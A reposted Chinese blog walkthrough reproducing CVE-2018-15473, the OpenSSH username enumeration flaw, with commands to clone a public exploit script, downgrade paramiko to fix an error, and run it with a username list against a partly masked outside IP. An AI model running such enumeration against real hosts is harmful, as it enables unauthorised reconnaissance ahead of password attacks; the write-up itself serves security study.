CVE-2018-15473 ssh用户名枚举漏洞复现

最新推荐文章于 2025-03-17 21:00:08 发布

J0hnson666

最新推荐文章于 2025-03-17 21:00:08 发布

阅读量1.2k

点赞数 2

分类专栏：端口渗透文章标签： ssh 安全 web安全

本文链接：https://blog.csdn.net/weixin_50464560/article/details/124769546

版权

端口渗透专栏收录该内容

21 篇文章

订阅专栏

本文详细介绍了CVE-2018-15473漏洞的复现过程，包括使用Python脚本、依赖库升级、错误修复，以及如何通过测试验证漏洞利用。重点在于解决步骤和2.4.1版paramiko库的应用。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

转载https://blog.csdn.net/gh0stf1re/article/details/108641707

CVE-2018-15473 ssh用户名枚举漏洞复现

前言

OpenSSH 7.7前存在一个用户名枚举漏洞，通过该漏洞，攻击者可以判断某个用户名是否存在于目标主机中。

复现过程

克隆poc脚本到本地

git clone https://github.com/Rhynorater/CVE-2018-15473-Exploit.git

(注意：该脚本使用python3编写)
安装依赖库：

pip3 install -r requirements.txt

运行脚本

root@kali:~/Desktop/CVE-2018-15473-Exploit# python3 sshUsernameEnumExploit.py 
Traceback (most recent call last):
  File "sshUsernameEnumExploit.py", line 33, in <module>
    old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
TypeError: 'property' object is not subscriptable

可以看到，发生了报错。
参照 https://www.freebuf.com/vuls/193988.html ，到paramiko库下的auth_handler.py下的AUTH_handler，将 _handler_table改为_client_handler_table。然而，这边文章并没有说清楚具体更改哪些位置。修改后，依然没有运行成功。

解决方法：下载2.4.1版本的paramiko库

oot@kali:~/Desktop/CVE-2018-15473-Exploit# pip3 install paramiko==2.4.1
Collecting paramiko==2.4.1
  Downloading paramiko-2.4.1-py2.py3-none-any.whl (194 kB)
     |████████████████████████████████| 194 kB 17 kB/s 
Requirement already satisfied: pyasn1>=0.1.7 in /usr/lib/python3/dist-packages (from paramiko==2.4.1) (0.4.8)
Requirement already satisfied: pynacl>=1.0.1 in /usr/lib/python3/dist-packages (from paramiko==2.4.1) (1.4.0)
Requirement already satisfied: bcrypt>=3.1.3 in /usr/lib/python3/dist-packages (from paramiko==2.4.1) (3.1.7)
Requirement already satisfied: cryptography>=1.5 in /usr/lib/python3/dist-packages (from paramiko==2.4.1) (2.8)
Installing collected packages: paramiko
  Attempting uninstall: paramiko
    Found existing installation: paramiko 2.6.0
    Uninstalling paramiko-2.6.0:
      Successfully uninstalled paramiko-2.6.0
Successfully installed paramiko-2.4.1

之后再次运行脚本，运行成功

root@kali:~/Desktop/CVE-2018-15473-Exploit# python3 sshUsernameEnumExploit.py 
usage: sshUsernameEnumExploit.py [-h] [--port PORT] [--threads THREADS]
                                 [--outputFile OUTPUTFILE]
                                 [--outputFormat {list,json,csv}]
                                 (--username USERNAME | --userList USERLIST)
                                 hostname
sshUsernameEnumExploit.py: error: the following arguments are required: hostname

用某溯源反制ip，测试一下

root@kali:~/Desktop/CVE-2018-15473-Exploit# python3 sshUsernameEnumExploit.py --port 22 --userList sshUsername.txt  --outputFile test.csv --outputFormat csv 118.x.x.x

结果如下
在这里插入图片描述
参考链接：
https://github.com/Rhynorater/CVE-2018-15473-Exploit
https://www.anquanke.com/post/id/157607
https://www.cnblogs.com/jiecoll/p/13601653.html
https://www.freebuf.com/vuls/193988.html